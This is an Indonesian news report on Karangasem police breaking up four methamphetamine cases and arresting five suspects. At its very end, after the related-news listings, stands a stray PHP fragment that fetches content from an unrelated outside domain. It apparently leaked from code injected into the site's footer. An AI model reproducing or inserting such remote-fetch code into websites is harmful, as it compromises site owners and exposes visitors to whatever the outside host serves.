Polres Karangasem Ungkap 4 Kasus Narkoba, 5 Tersangka Ditangkap

Rabu, 28 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Karangasem | jejakkasus.info – Satuan Reserse Narkoba Polres Karangasem yang dipimpin oleh Kasat Narkoba AKP Ketut Wiwin Wirahadi, S.H., M.H., berhasil mengungkap empat kasus peredaran narkotika jenis sabu-sabu di empat kecamatan berbeda. Pengungkapan ini disampaikan langsung oleh Kapolres Karangasem, AKBP I Nengah Sadiarta, S.I.K., S.H., M.K.P., dalam konferensi pers/press release di Mapolres Karangasem, Rabu (28/8/2024).

“Dari empat kasus yang berhasil diungkap, kami mengamankan total 25 paket sabu dengan berat bruto 7,85 gram dan neto 4,12 gram,” ungkap AKBP I Nengah Sadiarta.

Baca Juga:  Maki Jatim Peringati HUT Kemerdekaan RI Ke-79 bersama warga dan awak media

Operasi pengungkapan ini dilakukan di empat lokasi berbeda. Kasus pertama terjadi di Kecamatan Karangasem pada 20 Juli 2024, dengan dua tersangka berinisial MR alias R dan FHA alias F. Kasus kedua di Kecamatan Bebandem pada 1 Agustus 2024 dengan tersangka MG alias G. Kasus ketiga di Kecamatan Manggis pada 11 Agustus 2024 dengan tersangka SYK alias E. Kasus terakhir juga di Kecamatan Manggis pada 16 Agustus 2024 dengan tersangka IGPD alias DB yang merupakan residivis.

AKBP I Nengah Sadiarta menjelaskan, “Dari lima tersangka yang ditangkap, empat di antaranya berperan sebagai perantara, sedangkan satu tersangka berperan ganda sebagai perantara dan penjual, yang juga merupakan residivis.”

Baca Juga:  Waasops Kasad Periksa Kesiapan Satgas Pamtas RI-PNG Yonif 410/Alugoro Sektor Selatan Wilayah Papua TA 2021

Para tersangka dijerat dengan Pasal 114 Ayat (1) sub Pasal 112 ayat (1) jo Pasal 132 ayat (1) dan Pasal 114 ayat (1) sub Pasal 112 ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. Ancaman hukuman bervariasi, mulai dari pidana penjara minimal 4 tahun hingga maksimal seumur hidup, serta denda mulai dari Rp 8 juta hingga Rp 10 miliar.

Baca Juga:  Jejak Kasus Ikut Mendukung Baksos Bersama Komunitas Trail Lereng Kawi Nyawiji

“Kami akan terus berupaya memberantas peredaran narkoba di wilayah Karangasem. Kami juga mengajak masyarakat untuk berperan aktif dalam melaporkan kegiatan mencurigakan terkait narkoba di lingkungan mereka,” tambah Kapolres.

Pengungkapan kasus ini menunjukkan komitmen Polres Karangasem dalam memerangi peredaran narkoba dan melindungi masyarakat dari bahaya narkotika. Pihak kepolisian juga menghimbau masyarakat untuk terus waspada dan melaporkan segala bentuk aktivitas yang diduga terkait dengan peredaran narkoba.

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>